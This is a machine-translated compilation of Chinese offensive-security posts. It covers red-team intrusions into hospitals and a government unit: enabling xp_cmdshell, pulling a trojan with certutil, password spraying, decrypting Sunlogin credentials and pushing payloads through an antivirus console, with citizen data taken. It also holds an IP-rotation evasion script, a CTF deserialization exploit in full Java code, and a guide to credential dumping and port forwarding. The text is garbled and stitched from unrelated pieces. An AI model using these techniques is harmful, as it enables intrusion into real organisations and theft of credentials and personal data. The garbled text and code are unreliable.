./fprc -c frpc.ini 接続が問題であることを確認した後、背景にはnohup。 Tencent CloudやAlibabaなどのVPSを使用する場合は、ポートグループの対応するポートを開くことを忘れないでください。そうしないと、接続を行うことができず、プロキシファイアは必ず利用可能です。 パス3操作およびメンテナンスマシン ここに、今すぐスキャンされたMSSQLの弱いパスワードを使用する操作およびメンテナンスターミナルホストがあります。 #xp_cmdshellを有効にします exec sp_configure 'show dibanced options'、1; reconfigure; exec sp \ _configure 'xp_cmdshell'、1; reconfigure; #コマンド実行 exec master.xp_cmdshell 'whoami' 関連記事 https://www.cnblogs.com/websecyw/p/11016974.html コマンドの通常の実行がシステムの許可であることを確認し、Certutil Trojanをオンラインでダウンロードし、パスワードをキャッチした後、管理者がデスクトップをオンラインでデスクトップに行かないことを確認してください。 パス4サーバーのすべての権限 ターミナルにリモートで行く場合にのみ、このマシンが操作およびメンテナンスマシンであることを知っていました。 SQL Server Connection Softwareが端末に開かれ、上記のコマンドがXP_CMDSHELLがコマンドを実行できるようにするために使用されます。ここでは、SQL Serverデータベースが実に操作を実行しており、許可はSQL Serverサービスの許可です。 私が馬に乗っていたとき、私はいつも問題がありました。許可が低すぎました。 Huofeng Enterprise Editionがオンになりました。 TEMPディレクトリは書き込まれていないため、SQL Server Permissionsのみを取得しました。テスト後、私はまだhuofengをオフにすることができませんでした。 SQLサーバーのアクセス許可が低かったはずです。その後、Huofengコンソールがファイルを配布し、Maoziを自動的に実行できることがわかりました。これは後で再現でき、環境を研究できます。 ブラウザによって保存されたパスワードを確認してください。 Firefoxブラウザは、ターコイズコンソールのアカウントパスワードと、他のいくつかのプラットフォームのアカウントパスワードを保存します。パスワードを収集した後、パスワードにぶつかることができます。 すべてのファイルでキーワードを検索し、サーバーと端末のファイルを慎重にめくると、予期しない結果が得られるかもしれません。 パスワード|情報部門|資産テーブル|トポロジ|アカウント|機器|パス|ユーザー| config |管理|計画 エレリティングの高度な使用(正規表現)では、コンテンツを使用してファイルコンテンツを検索することもできます。ファイルコンテンツの検索は遅くなります。 関連する記事https://www.jiansshu.com/p/9c0ab75a264f コンピューターでデバイスのパスワード情報とトポロジー情報を見つけました デバイスサーバーに関するすべての情報 基本的に、すべてのネットワークデバイスとサーバーアクセス許可が利用可能です。ここでは、パスワードをバンプするためにパスワードを並べ替えます。パスワードを整理するとき、このパスワードは通常のパスワードであることがわかりました。パスワードルールを整理し、ソーシャルワーカーのパスワード生成スクリプトを使用して、いくつかのパスワードを生成します。 ツールダウンロードアドレス:https://github.com/cityofembera/cpassword このツールは比較的簡単に使用できます。 username.txtで名前を変更するだけです。 dict.txtにはルールがあります。また、パスワードにいくつかのルールを追加するなど、次のような最近の情報など、いくつかの変更を加えることもできます。 @2013 @2014 @2015 @2016 @2017 @2018 @2019 @2020 @2021 @2022 #2013 #2014 #2015 #2016 #2017 #2018 #2019 #2020 #2021 #2022 123!@# !@#123。 @233 !@#345 !@#qwe python3 recutedict.pyはパスワードファイルを自動的に生成し、パスワードはcreatedict.txtファイルに保存されます。パスワードが生成されると、パスワードファイルを指定するためにKSCANにスローされます。パスワードと衝突します。 kscan.exe -t 10.0.0.0/8 - Hydra - Hydra -Pass file:pwd.txt Path 5 Turfurコンソールファイル配布 Turquoiseコンソールを使用してファイルを配布する機能は次のとおりです。また、Magic HAファイルの配布後に自動的に実行されます。 niu、niu、niu コンソールを開くときにブラウザが詰まった理由がわかりません。マスターJにファイルを表示するように頼み、直接配布しました。 ターコイズで設置されたすべてのマシンはオンラインであり、一部のイントラネットマシンはオンラインではありません。ここで、CS 4.3に問題がある場合は、リスナーを転送してファイルを生成することを選択できます。 ターゲットマシンを見た後、Wuhuのスコアは基本的にいっぱいです。サーバー、ネットワーク機器、端末、リサイクルビンにある市民情報情報を含む40,000のデータ、およびそれらの6Kのポイントが取得されています。 パス6クラウド資産 ここでは、情報共有サーバーを呼び出します。収集したばかりのパスワードとパスワードにぶつかりました。上記のSQLサーバーには、コマンドを実行できる弱いパスワードもあります。これは、以前のSAには弱いパスワードが多すぎるため、いずれも1つずつ呼び出されないためです。ここにパスワードがある場合は、ツールを使用してオンラインで入力してください。 ファイルをめくって、Eディスクに情報科学のための特別なフォルダーがあることがわかりました。クラウド上の資産を取得したことがわかりました。 パス7ドメイン名許可 ドメイン名の解決権限を取得するために、今すぐアカウントパスワードでログインします クラウドサーバーの許可は、そのうちの1つは公式のWebサイトサーバーであり、他のチームのターゲットです。 パス8クラウドサーバーの権限 Alibaba Cloud Consoleに直接ログインし、C2を使用してPowerShellをオンラインで生成します 包括的な病院 この目標は、ソーシャルワーカーを開き、スタート後の3泊目に密接な情報源を持つことです。 攻撃パス パス1 wifiパスワード オープンソーシャルワーカーとジニュアンはすぐにその日にサインアップしました。夕食後、作業服を交換して、携帯電話で病院に急いで行きました。私は携帯電話でKali Nethunteを閲覧していて、ツールのアームバージョンをいくつか編集しました。イントラネットに足場を構築するのに十分でした。 現場に到着した後、WiFiマスターキーを開けて近くのWiFiを検索します WiFiに接続して、ターゲットIPアドレスにアクセスし、WeChatのQRコードをスキャンしてパスワードを取得できることを確認し、後でイントラネットでパスワードをバンプします。 ゲートウェイアドレスは、H3Cの出口デバイスであることがわかります。デバイスに弱いパスワードが記録されている場合、ネットワークセグメント情報に従って対応するネットワークセグメントをスキャンするネットワークセグメント情報があります。 PATH 2ヒマワリRCE KSCAN指定されたWiFiパスワードファイルは、3389、22、1433などの脆弱なポートのパスワードにクラッシュし、イントラネットマシンと外部ネットワークマシンを取得します。 外部ネットワークマシンにはヒマワリRCEの脆弱性があります。おいしさはその後ヒマワリを切ったようです(ここに問題があるのかわかりませんが、その理由は見つかりません)。その後コマンドを実行した後、表示されません。 パスワードでリモートでログインすると、ヒマワリが再接続して終了して再開していることがわかります。しばらくトデスクを設置した場合に備えて、馬をつけた後、リモートでそれを成し遂げることができます。 パス3ターゲットマシン 外部ネットワークスプリングボードリモートマシンTodeskを介して、内部ネットワークサーバーネットワークセグメントを直接スキャンし、マシンをノックアウトするためにパスワードにぶつかりました。サーバーはTodeskでインストールされ、3つのターゲットマシンのTodeskリモコンを保存することがわかりました。とても幸せでした。 今すぐ彼のシステムの端末にデータを追加すると、6Kスコアがいっぱいです 専門病院 この病院は夜に閉店し、翌朝早く通過しました。病院に入ってコミュニティで死んだのは少し恥ずかしかったです。当時、私はこの病院の種類がどのような病院であるかをチェックしませんでした。ドアにはwifiがなかったので、入ることしかできませんでした。私が入ったとき、ドアの医者がまだドアの警備員が私にどんな部門にいるのかと尋ねました。 男性の学位?婦人科? 私: それから私は少しアレルギー反応で首を見て、皮膚科の部門にいると言いましたか? 私:はいはいはい皮膚科 入った後、私はこの病院に関する情報を検索し、それをノックしました。それは専門病院のように思えました。 私は入って登録し、そこで待っていました。この病院には、皮膚科に特化した医師がいないようです。登録した後、私は1時間以上待ちました。私は電話をオンにして、WiFiに座って、内部ネットワークのスキャンを開始しました。 医師がスプリングボードマシンを手に入れて馬に乗ることができる前に、それはヨーヨーでした。イントラネットには1つの孤児マシンしかありませんでした。 攻撃パス パス1 wifiパスワード 同じWiFiマスターキーが入ります パス2ターゲットマシン ここでイントラネットをスキャンし、MS17010がWin2012マシンであることを発見しました。単一のコマンドで携帯電話でMSFを直接実行してみてください。 マシンには360 Plusアカウントがあり、追加できません。 certutilはそれを試して、ヒマワリのプロセスがないことを確認しました。その後、その構成ファイルを直接読み取り、マシンに直接復号化できます。 構成ファイルパス インストールバージョン:c: \\プログラムファイル\\ oray \\ sunlogin \\ sunloginclient \\ config.ini ポータブルバージョン(グリーンバージョン):c: \\ programdata \\ oray \\ sunloginclient \\ config.ini これら2つのファイルを試しました それはより高いバージョンでなければなりません。レジストリで見つけることができます。私は360を読みました、そして私はそれを傍受しないことを願っています。 #レジストリクエリ reg query hkey \ _users \\。デフォルト\\ソフトウェア\\ oray \\ sunlogin \\ sunloginclient \\ sunlogininfo reg query hkey \ _users \\。デフォルト\\ソフトウェア\\ oray \\ sunlogin \\ sunloginclient \\ sunlogingreeninfo wuhuはそれを傍受しませんでした、それをツールに投げ入れて復号化しました ヒマワリの復号化ツールアドレス:https://github.com/wafinfo/sunflower_get_password このツールは簡単に使用できます。 gitの後、Unicornをインストールし、Python3を実行して、今すぐレジストリで取得したencry_pwdフィールドを入力し、プロンプトに従ってスクリプトに入力します。 接続できることを確認すると、ヒマワリはホストの許可をリモートで直接取得でき、ヨーヨーです。 特定のZFユニット このユニットには何の関係もありません。過去数日間、私はZFストリートに行き、壁の角に横たわっていました。私はこれをケースを考慮に入れました。輸出機器を入手した後、VPNを構築し、L2TPを直接使用してトンネルを構築してイントラネットに入ることができます。トップ3のポジションを維持するために最善を尽くしました。 攻撃パス これにはスクリーンショットがありません。以下の記事を読むことができます。 参照記事: https://zhiliao.h3c.com/questions/dispcont/146895 https://baijiahao.baidu.com/s?id=1716025203844234922amp; wfr=spideramp; For=Pc VPNを構築できない場合、またはデバイスにVPN認証がないが、NATとTelnet機能がある場合、十分な忍耐力がある場合は、以前の記事のアイデアを参照して、Telnetを使用して外部ネットワークにマップするためにテストし、スクリプトを作成して効率を改善するためにスクリプトを作成します。 記事アドレス:https://forum.butian.net/share/1633 0x02要約 今回は、イントラネットに突入するお金があまりありませんでした。それは主に、イントラネットの水平攻撃と防御のためでした。最初の病院でターゲットシステムを採用していたとき、XP_CMDSHELLは操作およびメンテナンスマシンからターゲットマシンを攻撃しました。 SQLServerデータベースは減価償却され、TEMPディレクトリは記述できませんでした。上記のターゲットシステムを取得できませんでした。ファイルはTurfurコンソールを介して配布されました。実際、私は最初にターフールコンソールをすでに入手していました。この機能を使用しなければ、影響が大きすぎるのではないかと心配していました。私はそれを使用する以外に選択肢がありませんでした。私が知っているsqlserverはまだ少なすぎて、私は学ばなければなりません。後者は基本的にすべてソーシャルワーカーのものです。私は3位を打たなければなりません。コンピューターが壊れている場合は、販売コンピューターを再生する必要があります。環境を構成するのに時間がかかりすぎました。 最近、SQLServerが波を共有することについての良い記事も見ました。コミュニティマスターには多くの姿勢があります。 https://forum.butian.net/share/1390 最近の攻撃的および防御的な業務に要約されたいくつかのこと、マスターとのコミュニケーションへようこそ いくつかのヒントの概要: 外部ネットワークをチェックしてください Asset Collection Enscan_go Space Drawing Survey FOFA/360QUAKE/SHADOW/ZOOMEYE/HUNTERKUNYU/FOFA_VIEWER/INFOSEARCHALL軽量スキャンKSCANサービスの識別はFOFAと協力するために使用してFSCAN Cセグメントを迅速に識別することができます。 cセグメントEEYESWEB指紋認識EHOLEは優れたツールです。指紋とスペース描画エンジンインターフェイスTIDE TIDAL FINGERPRINT WEBオンライン検出TIDEFINGERHTTPX Get Web Title Status Code Intranet Host Information Information Collection すべてのファイル検索(正規表現により効率が向上) ヒマワリRCE(ひまわりは本当にクールです)weblogics2redis shiro originalアドレス:https://forum.butian.net/share/1719
  5. Pythonスクリプトを使用して、Clash Configurationファイルを自動的に生成して、FuzzがIPを自動的に切り替えることを実現します。今、ブルードッグはIPを速すぎてブロックしています。彼がBurpを使用してIPSをブロックした時代を考えて、彼は泣きたいと思っていました。なぜ私は空飛ぶ魚を必要としないのかと私に聞かないでください、それは高すぎます。 0x00購入IPアドレスプールを購入 バランスパッケージを推奨することによる購入。このスクリプトは、残高支払いで支払う方が費用対効果が高くなります。 http://http.py.cn/pay/?paytype=banlance 0x01 APIインターフェイスを取得 パッケージを購入した後、「API抽出」を選択して直接抽出すると、推奨される構成は次のとおりです。 1。バランス離脱。 2。長い間使用すると、必要に応じて選択する必要があります。 25分から180分を選択することをお勧めします。 3.推奨される抽出数は5〜10であり、地元の暴君は彼らが望むことを何でもすることができます。 4.州は混合し、アクセス速度を上げるために自分の州または近くの州を選択することをお勧めします。 5.現在、このプロキシプロトコルはSOKCS5接続のみをサポートしています。 6.スクリプトの解析を容易にするために、データ形式のJSON形式を選択します。 7.チェックするすべての属性を選択します。そうしないと、エラーが発生します。 8。365日間のIP削除。 0x02展開手順 Copy auto_proxyコード(auto_proxy_example.yaml、auto_proxy.py、proxyignorelist.plist)をClash Configurationファイルディレクトリにコピーします。 Windowsのデフォルト:Clash \ Data \ Profiles \ Macデフォルト:〜/.Config/Clash/ auto_proxy.py関連の構成を変更すると、主なパラメーターは次のとおりです。 test_url:テストのために監視する必要があるIPアドレス。 PY_API:前のステップで取得したPinyi APIインターフェイス。 max_connect_error:エラー接続の数、n連続した接続エラー、プロキシを再取得します。 ホワイトリストの構成、https://www.cnblogs.com/powertips/p/14775956.htmlを参照してください Windows:auto_proxy_example.yamlにCFW-Bypass構成を追加します。 MAC:プロジェクトでProxyignorElist.plistを直接使用するだけで、再起動して効果的にする必要があります。注:必ず *.taolop.comをホワイトリストに追加してください。そうしないと、プロキシが期限切れになり、プロキシを取得し続ける可能性があります。 0x03使用の手順 clashディレクトリでpython3 auto_proxy.pyを実行し、clashの構成をauto_proxyとして選択します。 衝突はグローバルモードで構成する必要があり、システムプロキシは同時に設定されます。現在、スクリプトは2つのルールを設定します。 アクセラレーションモード:監視Webサイトに従って、最低レイテンシエージェントを選択します。ロードモード:各リクエストはプロキシでランダムに接続されます。 ロードモードの操作効果: 操作エラーが設定されたしきい値を超えると、「IPがブロックされ、プロキシを再取得する」とプロンプトします。この時点で、Clashは「構成ファイルをリロードする」とプロンプトを表示し、手動でクリックして更新する必要があります。 0x05使用効果 この効果モードはロードモードです。 Dirsearchをテストしてください。自分で他のツールをテストしてください。 ターゲットマシン側:Python3 -M http.server 8000攻撃側:Python3 dirsearch.py -u http://x.x.x.x.x.x.x.x.x.x.x.x.x.x.x.x33608000.0.0.1:7890 同時に、10個のIP Explosion Directoriesがあります。パニックに陥っているかどうか尋ねます!
  6. 0x01 web 1.ezjava ソースコードをダウンロードしてJARファイルを逆コンパイルし、Post /MyTestにはDeserializationの脆弱性があることがわかります 最終的には役に立たないようです プログラムをチェックして、Apacheの共通コレクションS4、およびその脱必要性のある利用クラスがパッチが適用されていないことを確認します。 Commons-Collection4-4.0を一目で見たので、直接Ysoserialを使用してヒットしました テストサイトは、それがCC4であることを発見しました 添付の記事 さらに、Spring-Echには、インターネット上で既製のPOCがあります ホイールを作る! パッケージmoe.orangemc; com.sun.org.apache.xalan.internal.xsltc.trax.templatesimplをインポートします。 com.sun.org.apache.xalan.internal.xsltc.trax.traxfilterをインポートします。 javassist.classpoolをインポートします。 javassist.ctclassをインポートします。 Import org.apache.commons.collections4.transformer; org.apache.commons.collections4.comparators.transformingcomparatorをインポートします。 org.apache.commons.collections4.functors.chainedtransformerをインポートします。 org.apache.commons.collections4.functors.constanttransformerをインポートします。 Import org.apache.commons.collections4.functors.instantiatetransformer; javax.xml.transform.templatesをインポートします。 java.io.bytearrayinputStreamをインポートします。 java.io.bytearrayoutputStreamをインポートします。 java.io.objectinputStreamをインポートします。 java.io.objectOutputStreamをインポートします。 java.lang.reflect.fieldをインポートします。 java.util.base64をインポートします。 java.util.priorityqueueをインポートします。 パブリッククラスメイン{ public static void main(string [] args){ 試す { classpool classpool=classpool.getDefault(); ctclass ctclass=classpool.getctclass( 'meow'); byte [] bytes=ctclass.tobytecode(); templatesimpl templates=new TemplatesImpl(); フィールドF1=templates.getClass()。getDeclaredField( '_ name'); フィールドF2=templates.getClass()。getDeclaredField( '_ bytecodes'); f1.setAccessible(true); f2.setAccessible(true); f1.set(Templates、 'Meow'); f2.set(テンプレート、new byte [] [] {bytes}); TransformerClass?オブジェクトChainedTransformer=new ChainedTransformer(new constantTransformer(traxfilter.class)、new Instantiatetransformer(new class [] {templates.class}、new object [] {Templates})); TransformingComparatorClass?オブジェクトTransformingComparator=new TransformingComparator(ChainedTransformer); PriorityQueueInteger queue=new PriorityQueue(2); queue.add(1); queue.add(1); フィールドf=queue.getClass()。getDeclaredField( 'Comparator'); f.setAccessible(true); f.set(queue、TransformingComparator); フィールドF3=queue.getClass()。getDeclaredField( 'Queue'); f3.SetAccessible(true); f3.set(queue、new object [] {chainedtransformer、chainedtransformer}); bytearrayoutputStream baos=new bytearrayoutputStream(); ObjectOutputStream OOS=new objectOutputStream(baos); oos.writeobject(queue); oos.close(); string result=new String(base64.getEncoder()。encode(baos.tobytearray())); system.out.println(result); } catch(例外e){ e.printstacktrace(); } } }上記のコードによると、エコーできないことがわかりますが、Baiduによると、Apache Catalinaを使用してエコーするために使用できます。同時に、このクラスライブラリ:はパッケージに含まれています。 悪意のあるクラスを書く: com.sun.org.apache.xalan.internal.xsltc.domをインポートします。 com.sun.org.apache.xalan.internal.xsltc.transletexceptionをインポートします。 com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttransletをインポートします。 com.sun.org.apache.xml.internal.dtm.dtmaxisiteratorをインポートします。 com.sun.org.apache.xml.internal.serializer.serializationhandlerをインポートします。 パブリッククラスMeowは抽象的なトランスレットを拡張します{ public meow(){ 素晴らしい(); this.namesArray=new String [] {'Meow'}; 試す { Java.lang.Refflt.field Contextfield=org.apache.catalina.core.standardcontext.class.getDeclaredfield( 'context'); Java.lang.Reflect.field ServiceField=org.apache.catalina.core.applicationcontext.class.getDeclaredfield( 'service'); Java.lang.Refflt.field requestfield=org.apache.coyote.requestinfo.class.getDeclaredfield( 'req'); Java.lang.Reflect.Method gethandlermethod=org.apache.coyote.abstractprotocol.class.getDeclaredMethod( 'gethandler'、null); contextfield.setAccessible(true); servicefield.setAccessible(true); requestfield.setAccessible(true); gethandlermethod.setAccessible(true); org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase= (org.apache.catalina.loader.webappclassloaderbase)thread.currentthread()。getContextClassLoader(); org.apache.catalina.core.applicationcontext applicationContext=(org.apache.catalina.core.applicationcontext)contextfield.get(webappclassloaderbase.getResources()。getContext()); org.apache.catalina.core.standardservice StandardService=(org.apache.catalina.core.standardervice)servicefield.get(ApplicationContext); org.apache.catalina.connector.connector [] connectors=starderservice.findconnectors(); for(int i=0; iconnectors.length; i ++){ if(4==コネクタ[i] .getscheme()。length()){ org.apache.coyote.protocolhandler protocolhandler=connectors [i] .getProtocolhandler(); if(org.apache.coyote.http11.abstracthtp1p1protocolのプロトコルハンドラーインスタンス){ class [] classes=org.apache.coyote.abstractprotocol.class.getDeclaredClasses(); for(int j=0; j classes.length; j ++){ if(52==(classes [j] .getname()。length())|| 60==(classes [j] .getname()。length()){ system.out.println(classes [j] .getname()); Java.lang.Refflt.field GlobalField=classes [j] .getDeclaredfield( 'Global'); Java.lang.Refflt.field Processorsfield=org.apache.coyote.requestgroupinfo.class.getDeclaredfield( 'processors'); Globalfield.SetAccessible(true); processorsfield.setAccessible(true); org.apache.coyote.requestgroupinfo requestgroupinfo=(org.apache.coyote.requestgroupinfo)Globalfield.get(gethandlermethod.invoke(Protocolhandler、null))); java.util.list list=(java.util.list)processorsfield.get(requestgroupinfo); for(int k=0; k list.size(); k ++){ org.apache.coyote.request temprequest=(org.apache.coyote.request)requestfield.get(list.get(k)); system.out.println(temprequest.getheader( 'tomcat')); org.apache.catalina.connector.request request=(org.apache.catalina.connector.request)temprequest.getNote(1); 文字列cmd='' + 'cat /flag' + ''; string [] cmds=!system.getProperty( 'os.name')。tolowercase()。contains( 'win')? new String [] {'sh'、 '-C'、cmd} : new String [] {'cmd.exe'、 '/c'、cmd}; java.io.inputStream in=runtime.getRuntime()。exec(cmds).getInputStream(); java.util.scanner s=new Java.util.scanner(in).usedelimiter( '\ n'); string output=s.hasnext()? s.next(): ''; java.io.writer writer=request.getResponse()。getWriter(); java.lang.reft.fieldを使用してwriter=request.getResponse()。getClass()。getDeclaredfield( 'usingWriter'); whirewter.setAccessible(true); whirewter.set(request.getResponse()、boolean.false); writer.write(output); writer.flush(); 壊す; } 壊す; } } } 壊す; } } } catch(例外e){ } } @オーバーライド public void transform(dom document、serializationhandler [] handlers)transletexception { } @オーバーライド public void transform(dom document、dtmaxisiterator iterator、serializationhandlerハンドラー)transletexception { } } 回った後、マスターY4erのYsoserialの修正バージョンを見つけました https://github.com/y4er/ysoserial Tomcatcmdecho Memory Horseと組み合わせてCC4を試してください Java -jar yserial-main-1736fa42da-1.jar commonscollections4 'class:tomcatcmdecho' | base64 パッケージを送信するときは、コンテンツタイプを削除してください コマンドは、2回目の送信時に正常に実行されました
  7. 外部ネットワークと内部ネットワークは通常、Web脆弱性を使用してシェルを取得します イントラネットの情報コレクションの大部分は、ネットワークトポロジ図を中心に展開しています。ソーシャルワークの運用とメンテナンスまたはGoogleで見つけることができます。 イントラネット拡散情報収集 概要 イントラネット情報コレクションイントラネットネットワークターミナル情報:トポロジ、パーティション、イントラネットコアビジネス情報OAシステム、メールサーバー、監視システム.その他のWindowsおよびLinuxホスト情報コレクション、イントラネット情報コレクションが改善されるほど、通話は速くなります 積極的にスキャンする一般的な方法。一般的に使用されるツール: NMAP、NetDiscover、NC、Masscan、自己執筆スクリプトなどの一般的なポートとサービスのイントラネットトポロジアーキテクチャの分析。たとえば、DMZ、テストネットワークなどのコマンドはネイティブ情報を収集し、NMAPのトラフィックは非常に大きいです。 NMAPはスキャンに多くの方法を使用するため、精度は高く、トラフィックが高くなるため、外部ネットワークはそれを使用できます アクティブなスキャンは多くの痕跡を残し、理解するのが困難です。パッシブスキャンには長い時間がかかります。状況に応じてスキャンします 一般に、最初にポート80をスキャンする必要があります。外部Webサイトは非常に優れている可能性があり、イントラネットWebサイトは悪いものであり、SQLインジェクションやXSSなどのWeb脆弱性は1つずつです。 アクティブスキャン PINGコマンドイントラネットの利点で生存するホストをスキャンするためのコマンド:は便利です。一般に、トラフィック検出装置のアラームの欠点を引き起こしません:ターゲットをターゲットで開く、結果は不正確になります。 -SNはポートスキャンを実行しません。 -PEはICMPエコースキャンを実行します。 -Nは逆分析を実行しません。 -v出力デバッグ情報。 -Utput NMAPスキャンは、生き残ったホスト(ARPスキャン)NMAP -SN -N -VターゲットIPパラメーターをスキャンしてスキャンします。パラメーター説明:-I:インターフェイスを指定します。 -R:スキャン範囲注:を指定します。NetDiscover時間が長くなるほど、より正確になります。特定のホストがこれらのネットワークセグメントに一定期間介入しているため、他の新しいネットワークセグメントアドレスを発見していることがわかります。 NBTSCANツールを使用して、存続しているPC端子をすばやくスキャンし、同時にNetBios(Windows Up and Output Service、Port 139)NBTSCAN -RターゲットIP ポートおよびサービススキャン ターゲットオープンポートNMAP検出:NMAP -PN -ターゲットIP(マスカンターゲットIP(Ping Scan)IP(Ping Scan)を取得します。 - レート=10000#10kpps速度でポートをスキャンします NSEスクリプト:nmapを使用してターゲットオペレーティングシステムを検出します-SCRIPT SMB-OS-Discovery.nse -P 445ターゲットIPアドレス3: SMB-OS-Discovery.NSECTIST SMB TO COMPUTER SEMPITING VIRTIONなど。USE NMAP -Oオペレーティングシステムバージョンを検出するバージョンNMAP -OターゲットIPスキャンホストNMAPのCVE脆弱性-Script=VulnターゲットIP イントラネットの一般的なコマンド コマンドグループ「ドメイン管理者」 /ドメインクエリドメイン管理者ユーザーグループネットローカルグループ管理者/ドメインログインローカルドメインネットローカルグループ管理者ワークグループ\ユーザー /ドメインユーザーをネイティブネットグループの「ドメインコントローラー」ビュードメインコントロール /ドメインはドメイン浸透パラメーターです。ドメイン管理には、権限が高いマシンがあります。削除した後、ドメイン全体を制御できるサーバーはドメイン制御と呼ばれます。 dsquery domain command (write domain penetration later) command function dsquery computer domainroot -limit 65535 net group 'domain computers'/domain lists all machine names in the domain dsquery user domainroot -limit 65535 net user /domain lists all user names in the domain dsquery subnet lists network segment divisions dsquery group net group /domain lists groups in theドメインdsquery OUは、ドメインの組織ユニットをリストDsquery Server Net Time /Domain Controllers 冬のホスト情報コレクション のコントローラーに、最高の権限を取得した後の情報コレクションです。 主に、他のユーザー、3389、IPC接続レコード、および各ユーザーリサイクルビン情報のブラウザパスワードとCookieのコレクションのセッション(ハッシュプレーンテキスト)セッションを収集します。 Windowsワイヤレスパスワードを取得してデータベースパスワードを取得してホストファイル、DNSキャッシュ情報、パッチ、プロセス、ネットワークプロキシ情報共有フォルダー、Webサーバー構成ファイル、およびその他の計画パスワードポリシー、ロックポリシー 冬のさまざまな情報コレクション ツール:Mimikatz、WCE、GetPass、getwdump、regdump、regdump、cmdump、ユーザー名とパスワードの資格情報。 cmdkey /list view view recation netpass.exeパスワードリサイクルビン情報リサイクルビンフォルダーCD c: $リサイクルへのエントリを取得します。 (Chrome)%localAppData%\ Google \ Chrome \ userdata \ default \ cookies%localappdata%\ googlelchrome \ userdata \ default \ logindatachromeのユーザー情報は、sqliteデータベース形式としてMimikatzを使用するためにsqliteデータベース形式としてローカルファイルに保存されます。 log 'dpapi:chrome/in:%localappdata%google \ chrome \ userdata \ default \ cookies/unprotect' MSFの下のWindows情報コレクション ポスト/Windows/forensics/enum_drivesを使用して、ターゲットの宿主の領域を獲得するかどうかを決定します。ポスト/Windows/enum_Services有効なサービスを表示/Windows/windows/ghather/enum_applicationsインストールしたアプリケーションを表示/windows/ghather/enum_shares共有ポスト/windows/numplinksを表示 Linux Information Collection Linux Information CollectionコンテンツはWindowsよりもはるかに少ない 履歴コマンドは、履歴実行コマンドを表示するために使用されます。ローカルコンピューターで現在のユーザーが実行する1,000のコマンドを表示できます。 /etc /プロファイルファイルでhistsizeをカスタマイズするためのより多くの変動値を参照してください。履歴-Cコマンドを使用すると、すべてのコマンドの履歴がクリアされます。各ユーザーの履歴は、システム内のすべての最近のログインレコードを表示する最後のコマンドとは異なります。最後のコマンドを実行すると、ファイル/var/log/wtmpが読み取られます。ユーザー名端子ロケーションログインIPまたはカーネル開始時間終了時間は、権限を高めるシステムの脆弱性である場合、ログインに属していない場合、レコードARP -VNクラスタリングチェックは、同じサービスグループを超えてARPアドレスがあるかどうかをチェックします。 MACアドレスはIP固定に対応します。MACがIPに対応していない場合、ARPスプーフィング/etc/ホストファイルストレージドメイン名/ホスト名IPマッピングリレーションシップ MSFの下のLinuxコレクション モジュールはPost/Linux/ghate/checkvmを使用して、ターゲットホストがBirt Machine Post/Linux/nenum_net/num_net/enum_net/enum_net/enum_net/enum_net/enum_net/enum_netであるかどうかを判断します。ポスト/linux/enum_protections共有ポスト/linux/ghather/enum_systemを表示するシステムとユーザー情報を表示する/linux/linux/ghather/enum_users_histroyターゲットホストポスト/linux/hashdumpの最近の操作を表示して、Linuxのハッシュを取得しますが、私はその環境でのパッシブなコレクションを強調したいと思っています。イニシアチブの1つのポイント、危険の1つのポイント コレクションコンテンツの概要 ネットワークカード情報、ARPキャッシュ、ルーティングキャッシュ、ウェブサイト構成ファイル、データベース、アクセスログ、ブラウザ履歴、ネットスタット、ホストファイル、履歴、ハッシュ、プレーンテキストパスワード、Webサイト構成パスワード、Wifi、CMDKEY イントラネット転送 イントラネット転送の目的。理論的には、ネットワークに接続されているコンピューターは互いにアクセスできますが、技術的な理由により実装されていません。 LAN内のコンピューターがWebサービスのみを開く場合、イントラネットでのみ使用でき、外部ネットワークで直接アクセスすることはできません。外部ネットワークユーザーがLANサービスに直接アクセスできるようにするには、イントラネット転送およびその他の操作を実行する必要があります イントラネット転送原則 サーバーを介して転送するか、内部ポートをパブリックIPにマップするか、イントラネットポートを外部サーバーに転送します。特定のポートへのアクセスを制限するために、ターゲットマシンによって3つの形式のポート転送イントラネット転送が使用されます。このマシンのポートまたはこのマシンがアクセスする必要があるパブリックIPにアクセスできるホストのポートを転送できます。 ポートマッピングは、パブリックネットワーク上のポートにイントラネットによってアクセスできないポートをマップし、それにより攻撃を実施します。たとえば、ポート:3389 プロキシ転送は、主にターゲットマシンのスプリングボードとして機能するために使用され、イントラネットを攻撃できます。 4つの基本的なネットワーク状況:攻撃者には独立した外部ネットワークIPがあり、シェルを取得するサーバーには独立した外部ネットワークIPがあります。攻撃者には、独立した外部ネットワークIPがあります。シェルを取得するサーバーはイントラネットにあり、マッピングされたポート攻撃者は数個のマッピング攻撃者のみがイントラネットにあり、サーバーはイントラネットにあります。イントラネットに攻撃者がいるマッピングされたポートはごくわずかです。 4つの状況があります。サーバーを取得するにはさまざまな方法があります。 ポート転送 原則 ポート転送とは、ネットワークポートをあるネットワークノードから別のネットワークノードに転送する動作です。外部から外部から、アクティブ化されたNATルーターを介して、プライベート内部IPアドレス(LAN内)のポートまで外部ユーザーを作成します。 簡単に言えば、ポート転送は、ポートを転送することです(このポートは、ネイティブマシンのポートまたはネイティブマシンでアクセスできるホストのポートにすることができます)。通常、このIPはパブリックIPポート転送シナリオです。 外部ネットワークホストAは、いつでもイントラネットホストBのポートに接続できますが、イントラネットホストCのポートにアクセスすることはできません。 この時点で、CホストのポートをBホストのポートに転送できます。次に、外部ネットワークホストAはBホストの特定のポートにアクセスします。これは、Cホストの特定のポートにアクセスするのと同等です。 ポート転送ツール lcx LCXは、ソケットの実装にあるポート転送ツールです。 WindowsとLinuxの2つのバージョンがあります。 LCX.EXEと呼ばれ、Linuxはポートマップと呼ばれます。 通常のソケットトンネルには、サーバーとクライアントの両端が必要です windowsの西: 転送ポート:lcx.exe -SlaveパブリックIPポートイントラネットIPポート監視ポート:LCX.EXE -LISTENフォワーディングポートこのマシンにポートマッピングポートはありません。ファイアウォール、ターゲットサーバーの対応するポートのデータは、ファイアウォールLCX.EXE -TRANマッピングポート番号ターゲットポートポートポートポート転送で許可される他のポートに送信できます。次のルールが次の場合、ホストはイントラネットに直接アクセスできません。この時点で、Webサーバーはスプリングボードとして使用する必要があります。つまり、攻撃マシンがイントラネットホストにアクセスできるようにするためのプロキシを使用する必要があります。 基本コマンド: ・転送ポートlcx.exe-パブリックIPポートイントラネットIPポート ・ポートLCX.EXE -LISTENフォワーディングポートこのマシンWindowsポート転送インスタンスの占有ポートなし 